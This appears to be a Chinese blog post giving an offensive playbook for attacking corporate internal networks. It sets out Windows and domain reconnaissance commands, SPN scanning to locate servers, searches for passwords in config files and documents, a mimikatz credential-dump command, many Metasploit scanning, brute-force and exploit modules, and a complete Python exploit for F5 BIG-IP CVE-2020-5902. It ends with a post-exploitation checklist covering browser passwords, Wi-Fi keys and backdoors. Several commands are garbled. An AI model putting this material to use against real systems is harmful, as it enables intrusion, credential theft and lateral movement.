loecho@垃圾桶

内网渗透: 资源定位及攻击思路

2020-09-10 · 21 min read
内网渗透

参考:

image-20200910085714321

许多干货都是大佬的大佬提供,在实践过程中,要逐步完善为自己的!

0x01 基础信息收集

01.WebShell 层面的信息收集:

# 当前权限用户的具体确认

whoami /user  # 查看当前用户
whoami /priv  # 查看具体权限
query user	  # 查看当前登录用户
net user name # 查看name用户具体信息
net user 	  # 当前用户
net localgroup administrators # 查看administrtor组内的具体用户


# 当前主机的具体网络情况

ipconfig /all # 查看当前IP,判断是否存在域环境
ping t.com	  # 判断网络ICMP是否出网
arp-a         # 查看ARP-p缓存
netstat -ano  # 查看本机当前端口情况
TRACERT -d -h 10 ip # 判断网络出网跳数,从而判断网络结构
net use 	  # 判断是否存在IPC连接
net share 	  # 判断共享目录


# 主机信息及软件进程排查

wmic OS get Caption,CSDVersion,OSArchitecture,Verion # 当前系统具体信息
wmic product get name,version # 查看当前软件安装的具体名字以及版本,后续要对各类软件进行敏感信息收集
systeminfo	  # 查看补丁情况,为提权做准备,后续提权做准备
tasklist /svc # 查看当前进程,判断是否存在杀软
net start     # 当前服务启动情况
set 		  # 判断当前计算机存在的环境变量,后续使用
powershell "Get-WmiObject -class Win32_Product | Select-Object -property name,version" # 通过powershell获取

# 后续通过结合已知信息进行CS,或MSF上线!

02.CS/MSF 阶段的信息收集:

image-20200908203852385
# 收集域环境信息

net view # 获取当前域或工作组部分在线机器
net group "domain computer" /domain # 域内存活机器的探测方式
net view /domain    # 获取当前内网下的所有工作组和域名
net view /domain:DC # 获取域或工作组的主机列表


# 通过Linux命令进行主机名提取,为后续主机存货以及网络结构探测做准备

awk -F " " {'print $1'} list.txt >> name.txt 
awk -F " " {'print $2'} list.txt >> name.txt 
awk -F " " {'print $3'} list.txt >> name.txt


# 通过主机名,进行批量Ping,判断网络结构,以及各类主机功能

for /f "delims=" %i in (name.txt) do @ping -w 1 -n 1 %i | findstr /c:"mark.com" >> retult.txt # 批量Ping
type C:\HOST-ASP\MTI\Styles\mactoip.txt # 查看结果


# 批量获取脚本bat

@echo off setlocal ENABLEDELAYEDEXPANSION @FOR /F "usebackq eol=- skip=1 delims=\" %%j IN (`net view ^| find "命令成功完成" /v ^|find "The command completed successfully." /v`) DO ( @FOR /F "usebackq delims=" %%i IN (`@ping -n 1 -4 %%j ^| findstr "Pinging"`) DO ( @FOR /F "usebackq tokens=2 delims=[]" %%k IN (`echo %%i`) DO (echo %%k %%j) ) )


# 域内管理员定位:

net user /domain 
net group "domain admins" /domain
nltest /domain_trusts # 域信任查询

# 信息提取,提起猜测可能是“admin"的用户,后续收集信息完善使用

awk -F " " {'print $1'} user.txt >> user.txt 
awk -F " " {'print $2'} user.txt >> user.txt 
awk -F " " {'print $3'} user.txt >> user.txt 
egrep -i "admin|manage|vpn" list_user.txt


# 批量获取当前域的所有域控及其内网IP

net group "domain controllers" /domain # 获取域控,获取结果不全
net group "Read-only Domain" 		   # 获取只读权限的域控
for /f "delims=" %i in (dc.txt) do @ping -w 1 -n 1 %i | findstr /c:"mark.com" >> news.txt # 批量ping
nltest /dclist:DC  					   # 判断主控所在位置

# 获取当前域中的所有组,提取关键的组即可

net group /domain

# 对所获得的组进行分类,细化各组的职能,定点收集

03. SPN扫描利用

# SPN 组成部分:

# 服务类型 对应机器名 服务端口 默认端口可不写

  MSSQLSvc/Srv DB 0day.0day.org:1433

SPN 有价值目标:

各类 基础 数据库服务:
MSSQLSvc SQL Server 数据库
Oracle O racle 基于 kerberos 认证
postgres postgresql 数据库
各类 基础 mail 服务
exchangeMDB exchange 相关服务
SMTPSVC SMTP 服务
IMAP IMAP 服务
POP3 POP3 服务
各类 基础 Web 服务
HTTPS web 服务 基于 kerberos 认证
HTTP web 服务 基于 kerberos 认证
Jboss java web 服务 中间件 Redhat jboss
各类 基础 文件 服务
DNS DNS服务
FTP FTP服务
NFS NFS服务
各类远程管理 类 服务
TERMSRV Windows RDP 远程桌面服务
WSMAN Windows 远程管理服务
vnc VNC
VPN 远程接入服务

通过spn定向寻找数据库相关服务:

image-20200908174833145
# Windwos 7 以后都默认自带setspn

setspn T DC-Name Q */* | findstr "MSSQLSvc" # 直接过滤Mssql服务

# 因为得到的spn结果,可能都不存活,我们批量Ping一下,判断存活

awk F "/" {'print $2'} mac.txt | awk F "." {'print $1'} | uniq > res.txt

for /f "delims=" %i in (res.txt) do @ping w 1 n 1 %i | findstr /c:" DC-name " >> PerfLogs news.txt

setspn T dc-name Q */* | findstr "oracle" # 同理过滤“Oracle服务”,其他同类数据库服务也如此

借助 SPN 快速 定位当前目标 域中 所有 存活 的 ldap 服务器:

# 通常情况下,都为域控制器

setspn T dc-name Q */* | findstr "ldap" # 所有 LDAP SPN 的 机器名 都带有典型 的 DC 字样

借助 SPN 快速 定位当前目标 域中 邮件 服务器:

setspn T dc-name Q */* | findstr "exchangeMDB"
setspn T dc-name Q */* | findstr "SMTPSVC"
setspn T dc-name Q */* | findstr "IMAP"c v 
setspn T dc-name Q */* | findstr "POP3"

awk F '/' {'print $2'} mail.txt | awk F '.' {'print $1'} | uniq # 筛选各类主机名

# 批量存活探测

for /f "delims=" %i in (mail.txt) do @ping w 1 n 1 %i | findstr /c:" dc-name " >> mail-re.txt

借助 SPN 快速 定位当前目标 域中 Web 服务器:

setspn T dc-name Q */* | findstr "HTTP"

setspn T dc-name Q */* | findstr "HTTPS"

for /f "delims=" %i in (webs.txt) do @ping w 1 n 1 %i | findstr /c:" dc-name " >> # Web服务

借助 SPN 快速 定位当前 目标 域 中 所有 存活的 DNS 服务器

setspn T dc-name Q */* | findstr "DNS"

for /f "delims=" %i in (dns.txt) do @ping w 1 n 1 %i | findstr /c:" dc-name " >>  dns.txt

借助 SPN 快速 定位当前 目标 域 中 所有 存活的 文件 服务器

setspn T dc-name Q */* | findstr "ftp"
setspn T dc-name Q */* | findstr "nfs"

for /f "delims=" %i in (ftp.txt) do @ping w 1 n 1 %i | findstr /c:" dc-name " >>  dns.txt

借助 SPN 快速 定位当前 目标 域 中 所有 开启远程 连接服务 服务器

setspn T dc-name Q */* | findstr "TERMSRV" >>> PerfLogs rdp .txt
setspn T dc-name Q */* | findstr "WSMAN" >> C: PerfLogs winrm .txt
setspn T dc-name Q */* | findstr "vnc" >> C: PerfLogs vnc .txt
setspn T dc-name Q */* | findstr "vpn" >> C: PerfLogs vpn .txt
setspn T dc-name Q */* | findstr "tnetdgines" >> C: PerfLogs tnetdgines .txt
awk F '/' {'print $2'} **.txt | awk F '.' {'print $1'} | uniq | wc -l

04. 内网密码收集:

#  Mssql配置文件搜集:
dir /b /s web.config 
findstr /c:"User ID=" /c:"Password=" /si web.config

# Seatbelt,导出详细信息
Seatbelt -group=all 

# 列出当前目录结构:
tree /A |findstr /BV /C:"|   |"

# 针对特定类型的敏感文件进行全盘遍历搜集,比如, 文件类型:
*.xlsx,*.doc,*.docx,*.txt,*.zip,*.rar,*.7z,*.ovpn,*. vsdx,*.ppt,*pptx,*.php,*.sql,*.md

# 全盘搜带有以下敏感字段的文件,其实还有非常非常多,弟兄们平时在搞的过程中最好一边搞一边积累,常见关键字:

"密码(pass)", "账号(user)", "VPN", 
"SVN","GIT", "账户(user)",
"交接", "离职", "登录(login)",
 "账密", "堡垒", "邮箱(Mail)" , 
"IT", "信息安全", "IT部", "备份(bak)",
 "管理员(admin)", "内网", "杀毒" , 
 "入职", "服务器" , "运维" , 
 "平台", "巡检", "拓扑", "资产", 
"网络", "系统", "后台(system)" , 
"漏洞", "扫描", "数据库", "交换机",
 "ERP", "防火墙" , "防毒墙", "合同",
  "虚拟", "集群", "通讯录", "订单"
 "办公", "权限", "隔离", "测试"
 "网闸", "监控", "设备", "简历", "工资"

dir /s /b "*密码*" "*登录*" "*资产*" "*VPN*" "*Svn*" "*Git*" "*交接*" "*离职*" "*网络*" "*后台*" "*拓扑*" "*邮箱*" "*工资*" "*管理员*" "*巡检*"

# Server 端配置文件密码收集:

findstr /I /c:"user=" /c:"pass=" /c:"login=" /c:"uid=" /c:"pwd="  /si *.conf *.asp *.php *.jsp *.aspx *.cgi *.xml *.ini *.inf *.txt *.cgi


0x03 内网基础资源横向探测

05. 从主机开始入手:

# 通过代理将Msf挂到内网去:

msf > setg Proxies socks5:127.0.0.1:1080

# 通过批量提取到mssql的Hash,Msf使用auxiliary/scanner/mssql/mssql_hashdump模块

msf > use auxiliary/admin/mssql/mssql_sql  # SQL语句模块
msf > use auxiliary/admin/mssql/mssql_exec # SQL_exec模块
msf > use auxiliary/scanner/mssql/mssql_hashdump # SQL_Hash模块


# MSf主机批量Smb探测:

msf > use auxiliary/scanner/smb/smb_version

# 批量mS17-010

msf > use auxiliary/scanner/smb/smb_ms17_010

# 通过MS17-010_Command模块,进行批量密码搜寻

dir /b /s web.config 
findstr /c:"User ID=" /c:"Password=" /si web.config >tmps.logs 
cscript katz.js "privilege::debug" "sekurlsa::logonpasswords" "exit"

# 将所有密码Hash整合,再去撞Hash:

msf > use auxiliary/scanner/smb/smb_login 

06. 从各类Web服务开始入手:

# 确定具体目标,先从单端口,多网段进行探测,线程拉低:

msf > use auxiliary/scanner/portscan/tcp

# 同时对在公网上收集的信息,进行批量ping,筛选所对应的内网服务,重点关注

for /f "delims=" %i in (domains.txt) do @ping -w 1 -n 1 %i | findstr /c:"mark.com" >> service.txt
type service.txt | findstr "10."

# 快速探测识别目标内网所用的各类基础java web服务

msf > use auxiliary/scanner/http/jboss_vulnscan
msf > use auxiliary/admin/http/tomcat_administration
msf > use auxiliary/scanner/http/jenkins_login
msf > use auxiliary/scanner/http/glassfish_login
msf > use auxiliary/scanner/http/axis_login
msf > use auxiliary/scanner/http/webdav_scanner
msf > use exploit/windows/iis/iis_webdav_scstoragepathfromurl
msf > use auxiliary/scanner/http/http_login
msf > use auxiliary/scanner/http/joomla_version 
msf > use auxiliary/scanner/http/wordpress_scanner 
msf > use auxiliary/scanner/http/phpmyadmin_login

07.从各类服务弱口令入手:

# Linux SSH版本探测确认具体使用那些版本的Linux系统:

msf > use auxiliary/scanner/ssh/ssh_version

msf > use auxiliary/scanner/ssh/ssh_enumusers # 探测完用户后,通过前期收集的密码,进行单密码碰撞

# Windows 服务探测:

msf > use auxiliary/scanner/rdp/rdp_scanner # RDP探测
msf > use auxiliary/scanner/vnc/vnc_login	# VNC探测

# 各类工控设备的telnet默认口令:

msf > use auxiliary/scanner/telnet/telnet_version

# 文件服务探测,寻找敏感信息:

msf > use auxiliary/scanner/ftp/ftp_version

# FTP批量常识读写:

msf > use auxiliary/scanner/ftp/anonymous

# 搜集NFS挂载:

msf > use auxiliary/scanner/nfs/nfsmount

# rsync,Web同步常用,搜集配置文件:

msf > use auxiliary/scanner/rsync/modules_list

# SVN 泄露探测:

msf > use auxiliary/scanner/http/svn_scanner

# 各类数据库:

msf > use auxiliary/scanner/mysql/mysql_version # MySQL
msf > use auxiliary/scanner/db2/db2_version # DB2
msf > use auxiliary/scanner/postgres/postgres_login # PostGreSQL
msf > use auxiliary/scanner/redis/redis_login # Redis,重点关注

# 对上面的结果进行,批量SQL命令执行:

msf > use auxiliary/scanner/redis/redis_server 
msf > use auxiliary/scanner/mongodb/mongodb_login # MongoDB 弱口令



# Mail通过邮件服务进行探测:

msf > use auxiliary/scanner/smtp/smtp_version # SMmtp版本
msf > use auxiliary/scanner/imap/imap_version # imap版本探测
msf > use auxiliary/scanner/pop3/pop3_version # pop3版本探测
msf > use auxiliary/scanner/lotus/lotus_domino_version # lotus版本探测
msf > use auxiliary/scanner/http/owa_ews_login # 特定版本zimbra漏洞利用
msf > use exploit/unix/webapp/zimbra_lfi # 漏洞利用

08. 从各类工控网络设备入手:

# CISCO
msf > use auxiliary/scanner/http/cisco_device_manager 

# Cisco-VPN
msf > use auxiliary/scanner/http/cisco_ssl_vpn 


# 批量扫描内网下的所有f5设备,通过扫描结果批量探测F5RCE漏洞
msf > use auxiliary/scanner/http/f5_bigip_virtual_server 

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = i@cdxy.me

"""
F5 BIG-IP TMUI 远程代码执行漏洞(CVE-2020-5902)
F5 BIG-IP 是美国 F5 公司的一款集成了网络流量管理、应用程序安全管理、负载均衡等功能的应用交付平台。2020年7月1日,F5官方公布流量管理用户界面(TMUI)存在 前台远程执行代码(RCE)漏洞(CVE-2020-5902)。攻击者利用该漏洞,构造恶意请求,在未授权的情况下获得目标服务器的权限,实现远程代码执行。

Usage

  python POC-T.py -s BigF5_Rce -iF target.txt
  python POC-T.py -s BigF5_Rce -aZ ""
"""

import requests
from plugin.useragent import firefox
from plugin.urlparser import iterate_path


def poc(target):
    print target
    base_url = target if "://" in target else 'https://' + target
    for each in iterate_path(base_url):
        try:
            url = each + '/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
            #print url
            g = requests.get(url, headers={'User-Agent': firefox()})
            if g.status_code is 200 and 'output' in g.content and 'root' in g.content:
                return url
            url = each + '/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'
            g = requests.get(url, headers={'User-Agent': firefox()})
            if g.status_code is 200 and 'error' in g.content and 'password' in g.content:
                return url
        except:pass

    return False


# 批量扫描内网下的dlink后门 
msf > use auxiliary/scanner/http/dlink_user_agent_backdoor 

# 批量探测内网下的zabbix web入口弱口令 
msf > use auxiliary/scanner/http/zabbix_login

# 批量探测内网下的splunk[主要用于大数据分析] web入口弱口令 
msf > use auxiliary/scanner/http/splunk_web_login 

# 批量探测下的 snmp挂到socks下跑可能会有些问题,应该是udp协议的问题  弱口令,实际中,万一真的没办法,不妨用这个试着搜集内网机器信息
msf > use auxiliary/scanner/snmp/snmp_login

09.核心系统核心网段探测:

(1) 外网资产列表

通过对外部打点时收集到的各类Web资产,批量提取URl,适用于,在获得内网跳板时,已经控下几台机器但是找不到核心资产的情况,将提取的URL,在内网机器上,通过Bat脚本,进行批量Ping提取解析IP为内网IP的资产,重点关注这些网段,刘哥给提供的bat思路,自己可以继续修改:

  • Windows 系统环境:
# 筛选的关键字,我们可以根据实际情况修改,因为在一些大型公司内部,因为资产的庞大,网络划分直接划分为国外公网IP:

for /f "delims=" %i in (web.txt) do @ping -w 1 -n 1 %i | findstr /c:"[10." /c:"[192." /c:"[172." >> out.txt

(2) 批量Web Title & Header提取

通过前面阶段的收集,对于获取到的资产网段,我们筛选常用端口:

80-90,8080, 8090,7001端口,进行批量的Web Title 提取,具体实现方法:

  • Klion思路,通过Curl以及批处理脚本,简单快捷方式解决:
  • 我通过Python垃圾实现:
image-20200910091852493

(3) DNS爆破枚举:

进行单IP多网段扫描,定位具体DNS服务器位置,通过网络配置也可以判断DNS具体IP:

# DNS缓存查看:

ipconfig /displaydns

在获得DNS具体IP后,通过各类DNS爆破工具进行枚举和爆破,最终效率需要看字典内容

# Klion推荐项目:

https://github.com/Q2h1Cg/dnsbrute

0x04 思路汇总:

Klion总结,自己完善总结作为自己测试时的Check-List:

获取当前Shell的详细权限属性信息(即priv的内容),区分当前是本地用户还是域用户
获取当前机器的详细网络配置信息,包括 dns后缀,DNS后缀搜索列表,ip,掩码,网关,主备dns ip,dns缓存
获取当前机器的详细系统配置信息,包括 当前系统详细版本,内核版本,位数,启动时间,网卡信息,是否虚拟机,哪种虚拟机 [eg: VMWARE,VDI(一般从厂商名能看出来)......]

获取当前机器的 各类敏感 服务 / 进程列表
需要特别关注的一些敏感进程:各类常见杀软进程 [ 赛门铁克, 360套装(包括天擎), 麦咖啡, ESET, 卡巴, 趋势, WindowsDefender, Sophos, 火绒, QQ管家...... ]
  常规监控系统的agent端进程 [ Zabbix, Cacti(默认用snmp远程搜集系统信息), Nagios]
  
  敏感工具进程 [ Chrome,Firefox,Edege,IE,Xshell,Xftp,SecureCRT,Navicat,TortoiseSVN,Git,Foxmail,Filezilla,Vnc,Putty,Office套件,Teamviewer,向日葵...]
    可疑恶意敏感进程 [ Powershell.exe, mshta.exe, cmd.exe,cscript.exe .... ]
    各类Java服务进程 [ 通常Java权限较高,后面提权可能会用得到 ]
    包括对应进程的详细用户权限

  需要特别关注的一些敏感服务:
    本机各类Web服务
    本机各类数据库服务
    本机各类杀软 / EDR服务
    
本机各类常规监控的相关服务:
获取当前机器的所有Tcp / Udp 端口连接状态信息,顺手重点关注那些后期可用来"提权"或者搜集密码的各类敏感服务端口
获取当前机器的所有已经安装软件列表(留后门,抓密码可能会用得到)
获取当前用户浏览器 [ Chrome,Firefox,Edge,IE,360,QQ ] 的各类敏感数据,eg: 保存的账号密码,收藏夹链接,历史浏览记录,Cookie [ 注: 如浏览器正在运行可能无法获取相关数据 ]
获取当前用户Windows凭据管理器中保存的各类账号密码
获取当前用户的浏览器代理ip和端口
出网刺探,查看当前机器能否正常出网 [ Tcp / Udp / Dns /icmp ]
获取当前机器的 "关键性本地组" 成员 [ 比如,本地管理组,远程桌面组 ] 
获取本机已启用的共享
获取当前用户回收站,桌面里的文件目录列表
获取最近运行的命令历史和访问过的文件记录
获取当前机器的所有Rdp连出记录 [ 不包括连入记录 ]
获取当前系统的防火墙状态 [开启 / 关闭]
获取当前机器根下的计划任务列表
获取当前用户的注册表自启动项列表
获取当前机器的所有IPC会话
获取当前机器的Powershell 和 .Net 版本
获取当前机器的WIFI连接账号密码
获取当前机器中的服务票据 [ 待后续拿到管理权限后可进行PTT操作 ]
获取当前机器的详细补丁列表
获取本机ARP / DNS 缓存记录
获取本机host文件内容
获取当前用户环境变量
定时跟踪操作截屏 [ 需要在指定用户环境下操作 ]
获取当前系统的Laps配置 [ 如果有 ]
loecho@垃圾桶